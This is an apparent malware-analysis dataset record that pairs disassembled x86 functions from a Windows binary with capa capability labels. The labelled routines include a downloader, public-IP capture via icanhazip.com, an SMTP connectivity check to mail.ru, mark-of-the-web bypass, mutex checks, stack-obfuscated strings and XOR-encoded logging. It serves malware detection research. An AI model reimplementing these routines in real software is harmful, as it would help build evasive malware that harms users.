joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010a0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
mov ecx, dword [ebp + 8]
push ecx
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
jne 0x401114
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
call fcn.00401440
add esp, 4
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 4], eax
cmp dword [ebp + 0xc], 0
je 0x401109
mov edx, 2
mov eax, dword [ebp + 0xc]
mov word [eax], dx
push 0x19
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0xc]
mov word [ecx + 2], ax
mov dword [ebp - 8], 1
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401160
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
je 0x40116f
cmp dword [ebp + 0x10], 0
jne 0x401173
xor eax, eax
jmp 0x4011af
push 0x7530
mov eax, dword [ebp + 8]
push eax
call fcn.00401230
add esp, 8
test eax, eax
jne 0x401191
mov dword [ebp + 0x10], 0
jmp 0x4011ac
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
xor ecx, ecx
jne 0x401173
mov eax, dword [ebp + 0x10]
pop ebp
ret

Function at 0x401230
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x11c], 0
jmp 0x40125e
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [ebp - 0x118]
jae 0x401282
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp + edx*4 - 0x114]
cmp eax, dword [ebp + 8]
jne 0x401280
jmp 0x401282
jmp 0x40124f
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [ebp - 0x118]
jne 0x4012b8
cmp dword [ebp - 0x118], 0x40
jae 0x4012b8
mov edx, dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
mov dword [ebp + edx*4 - 0x114], eax
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
xor edx, edx
jne 0x401243
lea eax, [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x3e8
idiv ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
cdq
mov ecx, 0x3e8
idiv ecx
imul edx, edx, 0x3e8
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0xffffffff
jne 0x4012f1
mov dword [ebp - 4], 0
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x118]
push eax
push 0
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 8]
add edx, 1
push edx
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
mov eax, ecx
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40147f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401472
xor eax, eax
jmp 0x401482
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x4016e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00401440
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401700
or eax, 0xffffffff
jmp 0x40175b
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40173a
mov eax, 0xfffffffe
jmp 0x40175b
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401758
mov eax, 0xfffffffd
jmp 0x40175b
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401760
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xf
push str.mail.ru
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4017bf
push 0x19
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call fcn.004016e0
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4017bf
push 1
mov eax, dword [ebp - 4]
push eax
call sub.DNSAPI.dll_DnsFree
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
jmp 0x4017cc
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4017d0
Capabilities:
Capture public ip
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push 0
push 0
push 0
push 0
push 0x404290
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
je 0x40188a
push 0
push 0
push 0
push 0
push str.http:__icanhazip.com_
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x40187e
lea ecx, [ebp - 0x6c]
push ecx
push 0x63
lea edx, [ebp - 0x68]
push edx
mov eax, dword [ebp - 0x70]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x68]
test ecx, ecx
je 0x40187e
push 0x40428c
lea edx, [ebp - 0x68]
push edx
call fcn.004018b0
add esp, 8
test eax, eax
je 0x40186b
lea eax, [ebp - 0x68]
push eax
call fcn.00401400
add esp, 4
lea ecx, [ebp - 0x68]
push ecx
push str.__s_
push 0x4095d8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x40187e
push 0x404324
push 0x4095d8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov edx, dword [ebp - 0x70]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40189d
push str._0.0.0.0_
push 0x4095d8
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4095d8
mov esp, ebp
pop ebp
ret

Function at 0x4018d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
lea eax, [ebp - 0x14]
push eax
push 4
call fcn.00401320
add esp, 8
push eax
push 0x40433c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 1
mov eax, dword [ebp + 8]
push eax
call sub.DNSAPI.dll_DnsQuery_A
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40191e
jmp 0x401933
push 1
mov ecx, dword [ebp - 4]
push ecx
call sub.DNSAPI.dll_DnsFree
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4018dd
push 1
mov edx, dword [ebp - 4]
push edx
call sub.DNSAPI.dll_DnsFree
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x401950
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x400
push 0
push 0x4096a0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_96.0.4664.110_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x401a43
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401a39
movzx edx, byte [ebp + 8]
cmp edx, 1
jne 0x401a21
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x401a1f
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4096a0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401a15
cmp dword [ebp - 0x10], 0
je 0x401a15
push 0
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0x4096a0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x4019d8
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401a39
lea ecx, [ebp - 0x10]
push ecx
push 0x3ff
push 0x4096a0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 0x4096a0
mov esp, ebp
pop ebp
ret
Function at 0x402810
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Delete file
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6b4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.2462464
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x6b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40284e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x20c], 0
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
push str._s:Zone.Identifier
lea edx, [ebp - 0x520]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x6b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00401760
movzx edx, al
test edx, edx
jne 0x4028bb
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x409594
call section..text
add esp, 4
push eax
push 0x404e38
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0x318]
push ecx
push 0x402520
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 1
test edx, edx
je 0x402916
push 0xdbba00
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402900
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x409b15
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
and byte [ebp - 0x428], 0
push edi
mov ecx, 0xff
xor eax, eax
lea edi, reloc.KERNEL32.dll_GetProcessHeap
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0
push eax
call fcn.0045c91a
push dword [ebp + 8]
and byte [ebp - 4], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 0x28], 0x53
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
mov byte [ebp - 0x27], 0x59
mov byte [ebp - 0x26], 0x53
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0x45
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x6f
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x53
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0x65
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x76
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x63
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x73
mov byte [ebp - 7], 0x5c
mov byte [ebp - 6], 0x25
mov byte [ebp - 5], 0x73
call dword [0x47d480]
add esp, 0x18
push 0
push dword [ebp + 0x10]
call dword [0x47d1e0]
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
push eax
push 0x80000002
call fcn.0040aeaa
add esp, 0x1c
pop edi
leave
ret

Function at 0x409c4e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
and byte [ebp - 4], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x43
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x47
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x70
call fcn.00409b15
add esp, 0xc
leave
ret
Function at 0x40a023
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
push ebx
push esi
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x104
push eax
call dword [0x47d0f4]
xor ebx, ebx
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x52
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x2e
mov byte [ebp - 0xe], 0x45
mov byte [ebp - 0xd], 0x58
mov byte [ebp - 0xc], 0x45
mov byte [ebp - 0xb], bl
call dword [0x47d0e8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [0x47d480]
add esp, 0xc
lea eax, [ebp - 0x4c]
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call dword [0x47d1d4]
push ebx
push 0x80
push 2
push ebx
push 2
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x40000000
push eax
call dword [0x47d244]
mov esi, eax
cmp esi, reloc.KERNEL32.dll_GetProcessHeap
je 0x40a128
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [0x47d238]
push esi
call dword [0x47d21c]
cmp dword [ebp + 0x10], 2
je 0x40a128
mov ecx, dword [0x49d6f4]
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x2e
push eax
call fcn.0040ac5a
test eax, eax
je 0x40a128
lea eax, reloc.KERNEL32.dll_GetProcessHeap
mov byte [ebp - 8], 0x6f
push eax
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x6e
mov byte [ebp - 4], bl
call dword [0x47d1e8]
cmp eax, reloc.KERNEL32.dll_GetProcessHeap
je 0x40a128
push 5
push ebx
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push ebx
push eax
lea eax, [ebp - 8]
push eax
push ebx
call dword [0x47d3f8]
pop esi
xor eax, eax
pop ebx
leave
ret 0xc
Function at 0x40a1cf
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
lea eax, reloc.KERNEL32.dll_GetProcessHeap
xor ebx, ebx
push 0x104
push eax
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xf], 0x6f
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x72
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x67
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], bl
call dword [0x47d0fc]
lea eax, [ebp - 0x10]
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
call dword [0x47d1d4]
push ebx
push 0x80
push 4
push ebx
push 2
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x40000000
push eax
call dword [0x47d244]
push ebx
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ebx
call dword [0x47d24c]
cmp eax, 0x3200000
jae 0x40a26e
push 2
push ebx
push ebx
push dword [ebp - 0x14]
call dword [0x47d23c]
push dword [ebp + 8]
mov esi, dword [0x47d1e0]
call esi
push eax
mov dword [ebp - 4], eax
call fcn.0045c816
mov edx, dword [ebp - 4]
pop ecx
cmp edx, ebx
mov edi, eax
jle 0x40a2a2
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], edx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp - 4]
jne 0x40a294
lea eax, [ebp - 0x18]
push ebx
push eax
push dword [ebp + 8]
call esi
push eax
push edi
push dword [ebp - 0x14]
call dword [0x47d238]
push dword [ebp - 0x14]
call dword [0x47d21c]
push edi
mov dword [0x49cec8], 1
call fcn.0045c810
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a6c5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and byte [ebp - 1], 0
lea eax, [ebp - 0x110]
push 0x104
push eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
call dword [0x47d0fc]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x47d1d4]
lea eax, [ebp - 0x110]
push eax
call dword [0x47d1b0]
leave
ret
Function at 0x40a7f8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
lea eax, reloc.KERNEL32.dll_GetProcessHeap
xor ebx, ebx
push 0x104
mov dword [ebp - 0x14], ecx
push eax
mov dword [ebp - 0x18], ebx
call dword [0x47d0fc]
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x5c
push eax
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push eax
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
call dword [0x47d1d4]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, reloc.KERNEL32.dll_GetProcessHeap
push 0x80000000
push eax
call dword [0x47d244]
cmp eax, reloc.KERNEL32.dll_GetProcessHeap
mov dword [ebp - 0x10], eax
je 0x40a8c8
push esi
push edi
push ebx
push eax
call dword [0x47d24c]
mov edi, eax
push edi
call fcn.0045c816
pop ecx
mov esi, eax
lea eax, [ebp - 0x18]
push ebx
push eax
push edi
push esi
push dword [ebp - 0x10]
call dword [0x47d240]
cmp edi, ebx
jbe 0x40a8b3
xor byte [ebx + esi], 0x62
inc ebx
cmp ebx, edi
jb 0x40a8aa
mov ecx, dword [ebp - 0x14]
push edi
push esi
call fcn.0040a7ae
push esi
mov ebx, eax
call fcn.0045c810
pop ecx
pop edi
pop esi
push dword [ebp - 0x10]
call dword [0x47d21c]
mov eax, ebx
pop ebx
leave
ret

Function at 0x40ad11
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
jbe 0x40ad78
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [edi + 1]
push 0x6e
cdq
pop ecx
idiv ecx
push 0x6e
mov edi, edx
mov bl, byte [edi + esi]
movzx eax, bl
add eax, dword [ebp - 8]
cdq
idiv ecx
mov cl, byte [edx + esi]
mov byte [edi + esi], cl
mov ecx, dword [ebp - 4]
mov byte [edx + esi], bl
mov dword [ebp - 8], edx
lea eax, [edx + esi]
mov eax, dword [ebp + 0xc]
add ecx, eax
movzx eax, byte [edi + esi]
movzx edx, bl
add eax, edx
pop ebx
cdq
idiv ebx
mov al, byte [edx + esi]
xor byte [ecx], al
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jb 0x40ad29
pop esi
pop ebx
pop edi
leave
ret 0xc
Function at 0x40bc79
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
and byte [ebp - 9], 0
push ebx
push esi
lea eax, [ebp - 0x14]
push edi
mov ebx, ecx
push eax
push str.USER32.dll
mov dword [ebx], 0x47d68c
mov dword [ebp - 0x54], 0x7f8a
mov dword [ebp - 0x50], 0x7f00
mov dword [ebp - 0x4c], 0x7f03
mov dword [ebp - 0x48], 0x7f89
mov dword [ebp - 0x44], 0x7f8b
mov dword [ebp - 0x40], 0x7f01
mov dword [ebp - 0x3c], 0x7f81
mov dword [ebp - 0x38], 0x7f88
mov dword [ebp - 0x34], 0x7f80
mov dword [ebp - 0x30], 0x7f86
mov dword [ebp - 0x2c], 0x7f83
mov dword [ebp - 0x28], 0x7f85
mov dword [ebp - 0x24], 0x7f82
mov dword [ebp - 0x20], 0x7f84
mov dword [ebp - 0x1c], 0x7f04
mov dword [ebp - 0x18], 0x7f02
mov byte [ebp - 0x14], 0x4c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x64
mov byte [ebp - 0x10], 0x43
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x41
call dword [0x47d1c8]
push eax
call dword [0x47d1cc]
mov dword [ebp - 8], eax
lea edi, [ebp - 0x54]
lea esi, [ebx + 0x44]
mov dword [ebp - 4], 0x10
mov eax, dword [edi]
push eax
push 0
mov dword [esi - 0x40], eax
call dword [ebp - 8]
mov dword [esi], eax
add edi, 4
add esi, 4
dec dword [ebp - 4]
jne 0x40bd50
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x40bd6f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 3], 0
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
mov esi, ecx
push eax
push str.USER32.dll
mov dword [esi], 0x47d68c
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x72
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0x43
mov byte [ebp - 8], 0x75
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x73
mov byte [ebp - 5], 0x6f
mov byte [ebp - 4], 0x72
call dword [0x47d1c8]
push eax
call dword [0x47d1cc]
push 0x10
mov ebx, eax
add esi, 0x44
pop edi
push dword [esi]
call ebx
add esi, 4
dec edi
jne 0x40bdd6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c5da
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x45d5fa
call fcn.0045c8d0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x88]
call fcn.0040bc79
mov edx, dword [ebp + 8]
xor edi, edi
mov eax, edx
mov dword [ebp - 4], edi
dec eax
mov dword [esi], 0x47d690
je 0x40c626
sub eax, 3
je 0x40c626
sub eax, 4
je 0x40c626
push 8
pop ecx
sub eax, ecx
je 0x40c626
sub eax, 0x10
je 0x40c626
mov dword [esi + 0x70], ecx
jmp 0x40c629
mov dword [esi + 0x70], edx
mov ecx, esi
call fcn.0040cd84
test eax, eax
jne 0x40c64a
call dword [0x47d458]
push eax
mov dword [esi + reloc.KERNEL32.dll_GetProcessHeap], eax
call dword [0x47d454]
mov dword [esi + 0x44], eax
mov dword [esi + 0x1c], reloc.KERNEL32.dll_GetProcessHeap
mov byte [esi + 0x10], 1
call dword [0x47d0e8]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x20], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov ebx, dword [0x47d44c]
push edi
mov dword [esi + 0x14], ecx
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0x18], al
call ebx
push 1
mov dword [esi + 4], eax
call ebx
push 0x20
mov dword [esi + 8], eax
pop eax
mov ebx, dword [0x47d0c4]
cdq
idiv dword [esi + 0x70]
push dword [esi + 0x44]
mov dword [esi + 0xc], edi
mov byte [esi + 0x30], al
call ebx
push dword [esi + 0x44]
mov dword [esi + 0x4c], eax
call ebx
push edi
mov dword [esi + 0x80], eax
call ebx
push edi
mov dword [esi + 0x48], eax
call ebx
push 1
lea ebx, [esi + 0x5c]
push dword [esi + 4]
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebx], edi
push dword [esi + 0x70]
mov dword [esi + 0x60], edi
call fcn.0040cb38
push dword [esi + 8]
mov ecx, esi
mov dword [esi + 0x64], eax
push dword [esi + 4]
push dword [esi + 0x70]
call fcn.0040cb38
push 1
mov ecx, esi
push dword [esi + 4]
mov dword [esi + 0x68], eax
push dword [esi + 0x70]
call fcn.0040cb38
push edi
push edi
push ebx
mov ebx, dword [0x47d0c8]
push edi
mov dword [esi + 0x6c], eax
push dword [esi + 0x64]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x60]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x78]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
push dword [esi + 0x58]
mov ebx, dword [0x47d0cc]
mov dword [esi + 0x84], eax
push dword [esi + 0x4c]
call ebx
push dword [esi + 0x54]
push dword [esi + 0x48]
call ebx
push dword [esi + 0x84]
push dword [esi + 0x80]
call ebx
push dword [esi + 8]
lea eax, [esi + 0x34]
push dword [esi + 4]
push edi
push edi
push eax
call dword [0x47d450]
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 0x14]
shl eax, 1
push eax
call fcn.0045c816
mov dword [esi + 0x28], eax
mov eax, dword [esi + 0x68]
xor edx, edx
pop ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc]
div dword [esi + 8]
mov dword [esi + 0x2c], edi
pop edi
